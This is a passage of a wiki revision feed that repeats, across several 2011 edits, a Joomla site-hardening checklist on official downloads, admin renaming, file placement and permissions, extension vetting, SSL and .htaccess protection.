&#039;&#039;This has more to do with secure payments and administration, and is not Joomla! core or server security, but have been included here for advisory purposes.&lt;br /&gt;
&#039;&#039;&lt;br /&gt;
: SSL servers are currently the only way to securely process confidential transactions and secure user authentication. SSL works by encrypting all HTTP communications between the Web server and Web clients. Thus, even if a transmission is intercepted, it cannot be read. &lt;br /&gt;
&lt;br /&gt;
: Joomla! 1.0.x does not allow you to assign an SSL server to individual sub-directories. Search the forums for &amp;quot;Tommy Hack&amp;quot; for one way to deal with this. Joomla! 1.5 has greatly improved SSL options.&lt;br /&gt;
&lt;br /&gt;
===Use Apache&#039;s .htaccess===&lt;br /&gt;
: For an additional layer of password protection, you can use .htaccess to password protect critical  directories. This is usually adequate for blocking the typical script kiddie, but be aware that .htaccess password protection alone is not a highly secure method. It MUST be combined with an SSL server for maximum protection. An SSL server is required for protecting your site from more sophisticated attacks, such as packet sniffing.&lt;br /&gt;
&lt;br /&gt;
===Switch to Joomla! 1.5 or newer===&lt;br /&gt;
{{JVer|1.0}} The most significant upgrade in Joomla!&#039;s history includes powerful security and performance enhancements.&lt;br /&gt;
* [http://www.joomla.org/content/view/4483/118/ Joomla 1.5 Overview]&lt;br /&gt;
* [http://joomlacode.org/gf/project/joomla/frs/?action=index Joomla Downloads]&lt;br /&gt;
&lt;br /&gt;
=== Add Joomla! Security Announcements to your site ===&lt;br /&gt;
: The Joomla! Security Team supports and RSS feed that provides the latest Joomla security information. The following FAQ explains how to add this feed to your site.&lt;br /&gt;
&lt;br /&gt;
* [http://docs.joomla.org/Security_and_Performance_FAQs#How_can_I_add_the_Joomla.21_Security_Announcements_Feed_to_the_Admin_Control_Panel.3F How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?]&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Joomla!_Setup&amp;diff=59924</id>
		<title>Security Checklist/Joomla! Setup</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Joomla!_Setup&amp;diff=59924"/>
		<updated>2011-06-26T23:24:42Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Avoid encrypted code */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
== Configuring Joomla!==&lt;br /&gt;
&lt;br /&gt;
===Install official versions of Joomla!===&lt;br /&gt;
: To avoid breaking your site, search the forums for reports of incompatible extensions before upgrading to a new version of Joomla.&lt;br /&gt;
&lt;br /&gt;
: Upgrade to the [http://www.joomla.org/download.html latest stable version of Joomla!] as soon as possible. &lt;br /&gt;
&lt;br /&gt;
: Download Joomla! from official sites only, such as [http://joomlacode.org/ JoomlaCode.org], and check the [http://docs.joomla.org/How_to_determine_a_package_checksum MD5 hash].&lt;br /&gt;
&lt;br /&gt;
: Use [http://extensions.joomla.org/component/option,com_mtree/task,viewlink/link_id,1146/Itemid,35/ Joomla Diagnostics] to ensure that all files were installed correctly. (Note: the version of Joomla Diagnostics made for the initial release of 1.5 does not work for 1.5.3.)&lt;br /&gt;
&lt;br /&gt;
===Change the default administrator username===&lt;br /&gt;
: Change the user name of the default admin user. This simple step effectively increases the security of this critical account 50% by modifying one of the two variables attackers must know to gain access. The password is the other variable. Change it early and often. &#039;&#039;&#039;([[Security_and_Performance_FAQs#Why_should_I_immediately_change_the_name_of_the_default_admin_user_after_a_new_install.3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
===Protect directories and files===&lt;br /&gt;
: Increase the security of the critical &#039;&#039;configuration.php&#039;&#039; file by moving it outside of the &#039;&#039;public_html&#039;&#039; directory. For more information visit &#039;&#039;&#039;([[Security_and_Performance_FAQs#Moving_sensitive_files_outside_the_web_root|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Ensure that all configurable paths to writable or uploadable directories (document repositories, image galleries, caches) are outside of public_html. Check third party extensions such as DOCMan and Gallery2 for editable paths to writable directories. &lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the log path. Some extensions use the built in JLog class. This will, by default write logs to http://yousite/logs. Change this to a place that a casual browser cannot find (and don&#039;t pick /tmp/), or lock it down with http authentication. Because we are dealing with Open Source software, attackers can read the code of third-party extensions and may be able to guess log file names.&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the temp folder path.&lt;br /&gt;
&lt;br /&gt;
: If the log and temp paths are changed and PHP &#039;&#039;open_basedir&#039;&#039; configuration directive is set, make sure that the new paths fall within the scope of &#039;&#039;open_basedir&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
: There is currently no easy way to move the Joomla! /image and /media directories. This is because thousands of third party extensions expect to find these important directories at the current location. The best plan is to make sure open_basedir is properly set for all the user accounts on your server. Check with your host if unsure.&lt;br /&gt;
&lt;br /&gt;
===Adjust file and directory permissions===&lt;br /&gt;
&#039;&#039;&#039;This option no longer appears in Joomla.&#039;&#039;&#039;&lt;br /&gt;
On Older versions of Joomla : Once your site is configured and stable, write-protect critical directories and files by changing directory permissions to 755, and file permissions to 644. There is a feature in Site --&amp;gt; Global Configuration --&amp;gt; Server to set all folder and file permissions at once. Test third party extensions afterwards, and carefully review the code of any extension that has trouble with such settings. Note: Depending on your server&#039;s permissions, you may need to temporarily reset to more open permissions when installing more extensions with the Joomla! installer.&lt;br /&gt;
&#039;&#039;&#039;This option no longer appears in Joomla.&#039;&#039;&#039; but is included for historical purposes.&lt;br /&gt;
&lt;br /&gt;
===Remove unneeded files ===&lt;br /&gt;
: Remove all design templates not needed by your site. Never put security logic into template files.&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}} Disable the XML-RPC server if you don&#039;t need it.&lt;br /&gt;
&lt;br /&gt;
: Clean up after installs. The installation process will require you to delete the installation directory and all its contents. Do this; do not simply rename it. If you upload files to your site as compressed archives (xxxx.zip for example), don&#039;t forget to remove the compressed file. Check the /temp/ directory as temporary files may remain there after a failed installation attempt.&lt;br /&gt;
&lt;br /&gt;
: In general, do not leave any unneeded files (compressed or otherwise) on a public server. Each unused (and perhaps long forgotten) file is a potential security hole.&lt;br /&gt;
&lt;br /&gt;
===Turn Register Globals Emulation OFF===&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.0}} Turn Joomla&#039;s Register Globals Emulation OFF. Although this setting is somewhat safer than PHP register_globals, you are much better off avoiding such settings all together (as well as any applications that require them). On pre-1.0.13 versions of Joomla, this setting is found in the globals.php file. As of version 1.0.13, it can be turned off in the Back-end, under Global Settings. &lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}} Joomla 1.5 and greater, does not use register globals, and in fact has smart code to defeat this setting even if it&#039;s turned on at the PHP level. Note that although this makes Joomla itself safer, any server with register globals turned on is potentially vulnerable. Any shared server with register globals turned on is more than likely a sitting duck. Any hosting provider that insists register globals should be turned on is ignorant, incompetent, or worse. Was that blunt enough?&lt;br /&gt;
&lt;br /&gt;
: For more information on register_globals, please see [[Security_Checklist_2_-_Hosting_and_Server_Setup#Don.27t_use_PHP_register_globals|Security Checklist: PHP: register_globals]].&lt;br /&gt;
&lt;br /&gt;
== Installing Joomla! Extensions ==&lt;br /&gt;
&lt;br /&gt;
===Backup before installing ===&lt;br /&gt;
: Before installing extensions, always backup your site&#039;s files and database. This follows a very basic principle: &lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;&#039;&#039;Thou shalt at all times be able to return your site to a previous working state.&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Therefore, it&#039;s smart to set up a simple and fast backup script to automate this task. If you don&#039;t set up an easy process in advance, you&#039;ll be sorely tempted to do a quick upgrade without backing up first. This very understandable tendency is however one of the chief causes of premature hair loss, sudden career changes, and even death.&lt;br /&gt;
&lt;br /&gt;
===Check for extension vulnerabilities===&lt;br /&gt;
: Most security vulnerabilities are caused by third party extensions. Before installing extensions, check the Official List of Vulnerable 3rd Party/Non Joomla! Extensions. There&#039;s an entire forum dedicated to vulnerable third part extensions. Subscribe to it.&lt;br /&gt;
&lt;br /&gt;
===Download from trusted sites=== &lt;br /&gt;
: The fully qualified and official definition of a &amp;quot;trusted site&amp;quot; is one that &#039;&#039;&#039;YOU&#039;&#039;&#039; trust.&lt;br /&gt;
&lt;br /&gt;
===User beware! Check the code quality===&lt;br /&gt;
: Third party extensions come in all flavors of quality and age. Although Joomla! coding standards exist, third party developers are not required to follow them. Extensions listed on the official Joomla! site are not reviewed for compliance, however if verified vulnerabilities are reported, they will be removed from the list until they are fixed.&lt;br /&gt;
&lt;br /&gt;
===Test, test, test...===&lt;br /&gt;
: Test all extensions on a development site before installing on a production site. Then test on the production site. Don&#039;t forget to check the logs for runtime errors and warnings.&lt;br /&gt;
&lt;br /&gt;
===Remove junk files===&lt;br /&gt;
: Remove all unused extensions and double check that related folders and files were actually removed by uninstall scripts. Note that during uninstall, many third party extensions will leave related files on your site, and related database tables complete with data. This is either a feature or a bug depending on your point of view. Any files left on your server remain accessible from the Web via direct URLs, such as http://yousite.com/modules/bad_module.&lt;br /&gt;
&lt;br /&gt;
===Avoid encrypted code===&lt;br /&gt;
: Joomla is (and despite disinformation campaigns, always has been) a GNU GPL project. This means that all extensions to Joomla must also be free (as in freedom) and open (as in readable code). Encrypted code may be safe, but you can&#039;t determine this for yourself, and so you must trust the developers. Using others&#039; encrypted code puts you back in the world of proprietary software where you must wait for security patches from the developer, hoping that attackers don&#039;t find your site first before a fix is released.&lt;br /&gt;
&lt;br /&gt;
: You are often not free to modify, improve, or share encrypted code. These restrictions make encrypted code less valuable to the community as a whole, and reduce the overall viability of the Joomla project which depends on open sharing among all participants.&lt;br /&gt;
&lt;br /&gt;
: Of course, code that is not distributed to others is exempt from GNU GPL distribution requirements. Thus you can encrypt Joomla-related code on your own servers, providing you do not share it with others.&lt;br /&gt;
&lt;br /&gt;
==Additional Joomla! Hardening Tips and Tricks ==&lt;br /&gt;
&lt;br /&gt;
===Avoid shared servers if possible===&lt;br /&gt;
: For maximum security, avoid a shared server on which you don&#039;t know or can&#039;t trust all the other users or their code quality.&lt;br /&gt;
&lt;br /&gt;
===Use an SSL server===&lt;br /&gt;
&#039;&#039;This more to do with secure payments and administration, and is not joomla core or server security, but have been included here for advice&lt;br /&gt;
&#039;&#039;&lt;br /&gt;
: SSL servers are currently the only way to securely process confidential transactions and secure user authentication. SSL works by encrypting all HTTP communications between the Web server and Web clients. Thus, even if a transmission is intercepted, it cannot be read. &lt;br /&gt;
&lt;br /&gt;
: Joomla! 1.0.x does not allow you to assign an SSL server to individual sub-directories. Search the forums for &amp;quot;Tommy Hack&amp;quot; for one way to deal with this. Joomla! 1.5 has greatly improved SSL options.&lt;br /&gt;
&lt;br /&gt;
===Use Apache&#039;s .htaccess===&lt;br /&gt;
: For an additional layer of password protection, you can use .htaccess to password protect critical  directories. This is usually adequate for blocking the typical script kiddie, but be aware that .htaccess password protection alone is not a highly secure method. It MUST be combined with an SSL server for maximum protection. An SSL server is required for protecting your site from more sophisticated attacks, such as packet sniffing.&lt;br /&gt;
&lt;br /&gt;
===Switch to Joomla! 1.5 or newer===&lt;br /&gt;
{{JVer|1.0}} The most significant upgrade in Joomla!&#039;s history includes powerful security and performance enhancements.&lt;br /&gt;
* [http://www.joomla.org/content/view/4483/118/ Joomla 1.5 Overview]&lt;br /&gt;
* [http://joomlacode.org/gf/project/joomla/frs/?action=index Joomla Downloads]&lt;br /&gt;
&lt;br /&gt;
=== Add Joomla! Security Announcements to your site ===&lt;br /&gt;
: The Joomla! Security Team supports and RSS feed that provides the latest Joomla security information. The following FAQ explains how to add this feed to your site.&lt;br /&gt;
&lt;br /&gt;
* [http://docs.joomla.org/Security_and_Performance_FAQs#How_can_I_add_the_Joomla.21_Security_Announcements_Feed_to_the_Admin_Control_Panel.3F How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?]&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Joomla!_Setup&amp;diff=59923</id>
		<title>Security Checklist/Joomla! Setup</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Joomla!_Setup&amp;diff=59923"/>
		<updated>2011-06-26T23:23:56Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Avoid encrypted code */ Minor spelling&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
== Configuring Joomla!==&lt;br /&gt;
&lt;br /&gt;
===Install official versions of Joomla!===&lt;br /&gt;
: To avoid breaking your site, search the forums for reports of incompatible extensions before upgrading to a new version of Joomla.&lt;br /&gt;
&lt;br /&gt;
: Upgrade to the [http://www.joomla.org/download.html latest stable version of Joomla!] as soon as possible. &lt;br /&gt;
&lt;br /&gt;
: Download Joomla! from official sites only, such as [http://joomlacode.org/ JoomlaCode.org], and check the [http://docs.joomla.org/How_to_determine_a_package_checksum MD5 hash].&lt;br /&gt;
&lt;br /&gt;
: Use [http://extensions.joomla.org/component/option,com_mtree/task,viewlink/link_id,1146/Itemid,35/ Joomla Diagnostics] to ensure that all files were installed correctly. (Note: the version of Joomla Diagnostics made for the initial release of 1.5 does not work for 1.5.3.)&lt;br /&gt;
&lt;br /&gt;
===Change the default administrator username===&lt;br /&gt;
: Change the user name of the default admin user. This simple step effectively increases the security of this critical account 50% by modifying one of the two variables attackers must know to gain access. The password is the other variable. Change it early and often. &#039;&#039;&#039;([[Security_and_Performance_FAQs#Why_should_I_immediately_change_the_name_of_the_default_admin_user_after_a_new_install.3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
===Protect directories and files===&lt;br /&gt;
: Increase the security of the critical &#039;&#039;configuration.php&#039;&#039; file by moving it outside of the &#039;&#039;public_html&#039;&#039; directory. For more information visit &#039;&#039;&#039;([[Security_and_Performance_FAQs#Moving_sensitive_files_outside_the_web_root|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Ensure that all configurable paths to writable or uploadable directories (document repositories, image galleries, caches) are outside of public_html. Check third party extensions such as DOCMan and Gallery2 for editable paths to writable directories. &lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the log path. Some extensions use the built in JLog class. This will, by default write logs to http://yousite/logs. Change this to a place that a casual browser cannot find (and don&#039;t pick /tmp/), or lock it down with http authentication. Because we are dealing with Open Source software, attackers can read the code of third-party extensions and may be able to guess log file names.&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the temp folder path.&lt;br /&gt;
&lt;br /&gt;
: If the log and temp paths are changed and PHP &#039;&#039;open_basedir&#039;&#039; configuration directive is set, make sure that the new paths fall within the scope of &#039;&#039;open_basedir&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
: There is currently no easy way to move the Joomla! /image and /media directories. This is because thousands of third party extensions expect to find these important directories at the current location. The best plan is to make sure open_basedir is properly set for all the user accounts on your server. Check with your host if unsure.&lt;br /&gt;
&lt;br /&gt;
===Adjust file and directory permissions===&lt;br /&gt;
&#039;&#039;&#039;This option no longer appears in Joomla.&#039;&#039;&#039;&lt;br /&gt;
On Older versions of Joomla : Once your site is configured and stable, write-protect critical directories and files by changing directory permissions to 755, and file permissions to 644. There is a feature in Site --&amp;gt; Global Configuration --&amp;gt; Server to set all folder and file permissions at once. Test third party extensions afterwards, and carefully review the code of any extension that has trouble with such settings. Note: Depending on your server&#039;s permissions, you may need to temporarily reset to more open permissions when installing more extensions with the Joomla! installer.&lt;br /&gt;
&#039;&#039;&#039;This option no longer appears in Joomla.&#039;&#039;&#039; but is included for historical purposes.&lt;br /&gt;
&lt;br /&gt;
===Remove unneeded files ===&lt;br /&gt;
: Remove all design templates not needed by your site. Never put security logic into template files.&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}} Disable the XML-RPC server if you don&#039;t need it.&lt;br /&gt;
&lt;br /&gt;
: Clean up after installs. The installation process will require you to delete the installation directory and all its contents. Do this; do not simply rename it. If you upload files to your site as compressed archives (xxxx.zip for example), don&#039;t forget to remove the compressed file. Check the /temp/ directory as temporary files may remain there after a failed installation attempt.&lt;br /&gt;
&lt;br /&gt;
: In general, do not leave any unneeded files (compressed or otherwise) on a public server. Each unused (and perhaps long forgotten) file is a potential security hole.&lt;br /&gt;
&lt;br /&gt;
===Turn Register Globals Emulation OFF===&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.0}} Turn Joomla&#039;s Register Globals Emulation OFF. Although this setting is somewhat safer than PHP register_globals, you are much better off avoiding such settings all together (as well as any applications that require them). On pre-1.0.13 versions of Joomla, this setting is found in the globals.php file. As of version 1.0.13, it can be turned off in the Back-end, under Global Settings. &lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}} Joomla 1.5 and greater, does not use register globals, and in fact has smart code to defeat this setting even if it&#039;s turned on at the PHP level. Note that although this makes Joomla itself safer, any server with register globals turned on is potentially vulnerable. Any shared server with register globals turned on is more than likely a sitting duck. Any hosting provider that insists register globals should be turned on is ignorant, incompetent, or worse. Was that blunt enough?&lt;br /&gt;
&lt;br /&gt;
: For more information on register_globals, please see [[Security_Checklist_2_-_Hosting_and_Server_Setup#Don.27t_use_PHP_register_globals|Security Checklist: PHP: register_globals]].&lt;br /&gt;
&lt;br /&gt;
== Installing Joomla! Extensions ==&lt;br /&gt;
&lt;br /&gt;
===Backup before installing ===&lt;br /&gt;
: Before installing extensions, always backup your site&#039;s files and database. This follows a very basic principle: &lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&#039;&#039;&#039;Thou shalt at all times be able to return your site to a previous working state.&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Therefore, it&#039;s smart to set up a simple and fast backup script to automate this task. If you don&#039;t set up an easy process in advance, you&#039;ll be sorely tempted to do a quick upgrade without backing up first. This very understandable tendency is however one of the chief causes of premature hair loss, sudden career changes, and even death.&lt;br /&gt;
&lt;br /&gt;
===Check for extension vulnerabilities===&lt;br /&gt;
: Most security vulnerabilities are caused by third party extensions. Before installing extensions, check the Official List of Vulnerable 3rd Party/Non Joomla! Extensions. There&#039;s an entire forum dedicated to vulnerable third part extensions. Subscribe to it.&lt;br /&gt;
&lt;br /&gt;
===Download from trusted sites=== &lt;br /&gt;
: The fully qualified and official definition of a &amp;quot;trusted site&amp;quot; is one that &#039;&#039;&#039;YOU&#039;&#039;&#039; trust.&lt;br /&gt;
&lt;br /&gt;
===User beware! Check the code quality===&lt;br /&gt;
: Third party extensions come in all flavors of quality and age. Although Joomla! coding standards exist, third party developers are not required to follow them. Extensions listed on the official Joomla! site are not reviewed for compliance, however if verified vulnerabilities are reported, they will be removed from the list until they are fixed.&lt;br /&gt;
&lt;br /&gt;
===Test, test, test...===&lt;br /&gt;
: Test all extensions on a development site before installing on a production site. Then test on the production site. Don&#039;t forget to check the logs for runtime errors and warnings.&lt;br /&gt;
&lt;br /&gt;
===Remove junk files===&lt;br /&gt;
: Remove all unused extensions and double check that related folders and files were actually removed by uninstall scripts. Note that during uninstall, many third party extensions will leave related files on your site, and related database tables complete with data. This is either a feature or a bug depending on your point of view. Any files left on your server remain accessible from the Web via direct URLs, such as http://yousite.com/modules/bad_module.&lt;br /&gt;
&lt;br /&gt;
===Avoid encrypted code===&lt;br /&gt;
: Joomla is (and despite disinformation campaigns, always has been) a GNU GPL project. This means that all extensions to Joomla must also be free (as in freedom) and open (as in readable code). Encrypted code may be safe, but you can&#039;t determine this for yourself, and so you must trust the developers. Using others&#039; encrypted code puts you back in the world of proprietary software where you must wait for security patches from the developer, hoping that attackers don&#039;t find your site first before a fix is released.&lt;br /&gt;
&lt;br /&gt;
: You are often not free to modify, improve, or share encrypted code. These restrictions make encrypted code less valuable to the community as a whole, and reduce the overall viability of the Joomla project which depends on open sharing among all participants.&lt;br /&gt;
&lt;br /&gt;
: Of course, code that is not distributed to others is exempt from GNU GPL distribution requirements. Thus you can encrypt Joomla-related code your own servers providing you do not share it with others.&lt;br /&gt;
&lt;br /&gt;
==Additional Joomla! Hardening Tips and Tricks ==&lt;br /&gt;
&lt;br /&gt;
===Avoid shared servers if possible===&lt;br /&gt;
: For maximum security, avoid a shared server on which you don&#039;t know or can&#039;t trust all the other users or their code quality.&lt;br /&gt;
&lt;br /&gt;
===Use an SSL server===&lt;br /&gt;
&#039;&#039;This more to do with secure payments and administration, and is not joomla core or server security, but have been included here for advice&lt;br /&gt;
&#039;&#039;&lt;br /&gt;
: SSL servers are currently the only way to securely process confidential transactions and secure user authentication. SSL works by encrypting all HTTP communications between the Web server and Web clients. Thus, even if a transmission is intercepted, it cannot be read. &lt;br /&gt;
&lt;br /&gt;
: Joomla! 1.0.x does not allow you to assign an SSL server to individual sub-directories. Search the forums for &amp;quot;Tommy Hack&amp;quot; for one way to deal with this. Joomla! 1.5 has greatly improved SSL options.&lt;br /&gt;
&lt;br /&gt;
===Use Apache&#039;s .htaccess===&lt;br /&gt;
: For an additional layer of password protection, you can use .htaccess to password protect critical  directories. This is usually adequate for blocking the typical script kiddie, but be aware that .htaccess password protection alone is not a highly secure method. It MUST be combined with an SSL server for maximum protection. An SSL server is required for protecting your site from more sophisticated attacks, such as packet sniffing.&lt;br /&gt;
&lt;br /&gt;
===Switch to Joomla! 1.5 or newer===&lt;br /&gt;
{{JVer|1.0}} The most significant upgrade in Joomla!&#039;s history includes powerful security and performance enhancements.&lt;br /&gt;
* [http://www.joomla.org/content/view/4483/118/ Joomla 1.5 Overview]&lt;br /&gt;
* [http://joomlacode.org/gf/project/joomla/frs/?action=index Joomla Downloads]&lt;br /&gt;
&lt;br /&gt;
=== Add Joomla! Security Announcements to your site ===&lt;br /&gt;
: The Joomla! Security Team supports and RSS feed that provides the latest Joomla security information. The following FAQ explains how to add this feed to your site.&lt;br /&gt;
&lt;br /&gt;
* [http://docs.joomla.org/Security_and_Performance_FAQs#How_can_I_add_the_Joomla.21_Security_Announcements_Feed_to_the_Admin_Control_Panel.3F How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?]&lt;br /&gt;
&lt;br /&gt;
== Choose A Checklist==&lt;br /&gt;
# [[Security Checklist 1 - Getting Started|Getting Started]] &lt;br /&gt;
# [[Security Checklist 2 - Hosting and Server Setup|Hosting and Server Setup]]&lt;br /&gt;
# [[Security Checklist 3 - Testing and Development|Testing and Development]]&lt;br /&gt;
# [[Security Checklist 4 - Joomla Setup|Joomla Setup]]&lt;br /&gt;
# [[Security Checklist 5 - Site Administration|Site Administration]]&lt;br /&gt;
# [[Security Checklist 6 - Site Recovery|Site Recovery]]&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security Checklist]]&lt;/div&gt;</summary>
		<author><name>Royce</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Joomla!_Setup&amp;diff=59922</id>
		<title>Security Checklist/Joomla! Setup</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_Checklist/Joomla!_Setup&amp;diff=59922"/>
		<updated>2011-06-26T23:21:01Z</updated>

		<summary type="html">&lt;p&gt;Royce: /* Protect directories and files */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
== Configuring Joomla!==&lt;br /&gt;
&lt;br /&gt;
===Install official versions of Joomla!===&lt;br /&gt;
: To avoid breaking your site, search the forums for reports of incompatible extensions before upgrading to a new version of Joomla.&lt;br /&gt;
&lt;br /&gt;
: Upgrade to the [http://www.joomla.org/download.html latest stable version of Joomla!] as soon as possible. &lt;br /&gt;
&lt;br /&gt;
: Download Joomla! from official sites only, such as [http://joomlacode.org/ JoomlaCode.org], and check the [http://docs.joomla.org/How_to_determine_a_package_checksum MD5 hash].&lt;br /&gt;
&lt;br /&gt;
: Use [http://extensions.joomla.org/component/option,com_mtree/task,viewlink/link_id,1146/Itemid,35/ Joomla Diagnostics] to ensure that all files were installed correctly. (Note: the version of Joomla Diagnostics made for the initial release of 1.5 does not work for 1.5.3.)&lt;br /&gt;
&lt;br /&gt;
===Change the default administrator username===&lt;br /&gt;
: Change the user name of the default admin user. This simple step effectively increases the security of this critical account 50% by modifying one of the two variables attackers must know to gain access. The password is the other variable. Change it early and often. &#039;&#039;&#039;([[Security_and_Performance_FAQs#Why_should_I_immediately_change_the_name_of_the_default_admin_user_after_a_new_install.3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
===Protect directories and files===&lt;br /&gt;
: Increase the security of the critical &#039;&#039;configuration.php&#039;&#039; file by moving it outside of the &#039;&#039;public_html&#039;&#039; directory. For more information visit &#039;&#039;&#039;([[Security_and_Performance_FAQs#Moving_sensitive_files_outside_the_web_root|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Ensure that all configurable paths to writable or uploadable directories (document repositories, image galleries, caches) are outside of public_html. Check third party extensions such as DOCMan and Gallery2 for editable paths to writable directories. &lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the log path. Some extensions use the built in JLog class. This will, by default write logs to http://yousite/logs. Change this to a place that a casual browser cannot find (and don&#039;t pick /tmp/), or lock it down with http authentication. Because we are dealing with Open Source software, attackers can read the code of third-party extensions and may be able to guess log file names.&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}}{{JVer|1.6}} In the Back-End Global Configuration, change the temp folder path.&lt;br /&gt;
&lt;br /&gt;
: If the log and temp paths are changed and PHP &#039;&#039;open_basedir&#039;&#039; configuration directive is set, make sure that the new paths fall within the scope of &#039;&#039;open_basedir&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
: There is currently no easy way to move the Joomla! /image and /media directories. This is because thousands of third party extensions expect to find these important directories at the current location. The best plan is to make sure open_basedir is properly set for all the user accounts on your server. Check with your host if unsure.&lt;br /&gt;
&lt;br /&gt;
===Adjust file and directory permissions===&lt;br /&gt;
&#039;&#039;&#039;This option no longer appears in Joomla.&#039;&#039;&#039;&lt;br /&gt;
On Older versions of Joomla : Once your site is configured and stable, write-protect critical directories and files by changing directory permissions to 755, and file permissions to 644. There is a feature in Site --&amp;gt; Global Configuration --&amp;gt; Server to set all folder and file permissions at once. Test third party extensions afterwards, and carefully review the code of any extension that has trouble with such settings. Note: Depending on your server&#039;s permissions, you may need to temporarily reset to more open permissions when installing more extensions with the Joomla! installer.&lt;br /&gt;
&#039;&#039;&#039;This option no longer appears in Joomla.&#039;&#039;&#039; but is included for historical purposes.&lt;br /&gt;
&lt;br /&gt;
===Remove unneeded files ===&lt;br /&gt;
: Remove all design templates not needed by your site. Never put security logic into template files.&lt;br /&gt;
&lt;br /&gt;
: {{JVer|1.5}} Disable the XML-RPC server if you don&#039;t need it.&lt;br /&gt;
&lt;br /&gt;
: Clean up after installs. The installation process will require you to delete the installation directory and all its contents. Do this; do not simply rename it. If you upload files to your site as compressed archives (xxxx.zip for example), don&#039;t forget to remove the compressed file. Check the /temp/ directory as temporary files may remain there after a failed installation attempt.&lt;br /&gt;
&lt;br /&gt;
: In general, do not leave any unneeded files (compressed or otherwise) on a public server. Each unused (and perhaps long forgotten) file is a potential security hole.&lt;br /&gt;
&lt;br /&gt;
===Turn Register Globals Emulation OFF===&lt;br /&gt;
&lt;br /&gt;
